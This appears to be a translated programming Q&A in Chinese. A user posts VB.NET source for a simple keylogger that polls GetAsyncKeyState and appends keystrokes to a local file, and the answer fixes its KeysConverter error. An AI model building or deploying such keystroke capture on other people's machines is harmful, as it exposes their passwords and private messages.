无法在键盘记录程序中使用 KeysConverter

Question

我正在尝试创建一个基本的键盘记录程序。我对网络安全感兴趣，想了解更多。我已经从各种来源将下面的代码散列在一起。 行 text = converter.ToString(i) 生成索引越界错误。 我在想这是因为对象转换器没有被实例化，因为它应该？但是如何解决呢？

Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading

Module Module1
     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
    Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
    filepath &= "\LogsFolder\"

    If (Not Directory.Exists(filepath)) Then
        Directory.CreateDirectory(filepath)
    End If

    Dim Path = (filepath & "LoggedKeys.text")

    If Not File.Exists(Path) Then
        Using sw As StreamWriter = File.CreateText(Path)
        End Using
    End If

    Dim Converter = New KeysConverter()
    Dim text As String = ""

    While (True)
        Thread.Sleep(5)
        For i As Integer = 0 To 1999
            Dim key = GetAsyncKeyState(i)
            If key = 1 Or key = -32767 Then
                text = converter.ToString(i)
                Using sw As StreamWriter = File.AppendText(Path)
                    sw.WriteLine(text)
                End Using
                Exit For
            End If
        Next
    End While

End Sub

End Module

Answer 1

看起来您正在寻找ConvertToString 方法。

替换以下行：

text = converter.ToString(i)

与：

text = converter.ConvertToString(i)

---

编辑以解决您在 cmets 中的顾虑：

我收到一个语法错误，“ConvertToString”不是 KeysConverter 的成员...听起来我的实例化不起作用。

将鼠标光标悬停在您的 Converter 变量上并仔细检查其类型。确保 KeysConverter 实际上是 System.Windows.Forms.KeysConverter 类，而不是某种本地生成的类。

MyImports System.Windows.Forms 语句是幻影 - 表明它从未使用过。

这就是我的怀疑。您似乎在控制台应用程序中，并且正在访问 System.Windows.Forms 命名空间中的一个类不包含在控制台应用程序中。您需要添加对 System.Windows.Forms.dll 的引用，如this answer 中所述。

此外，请确保从项目中找到并删除生成的 KeysConverter 类，以免发生冲突。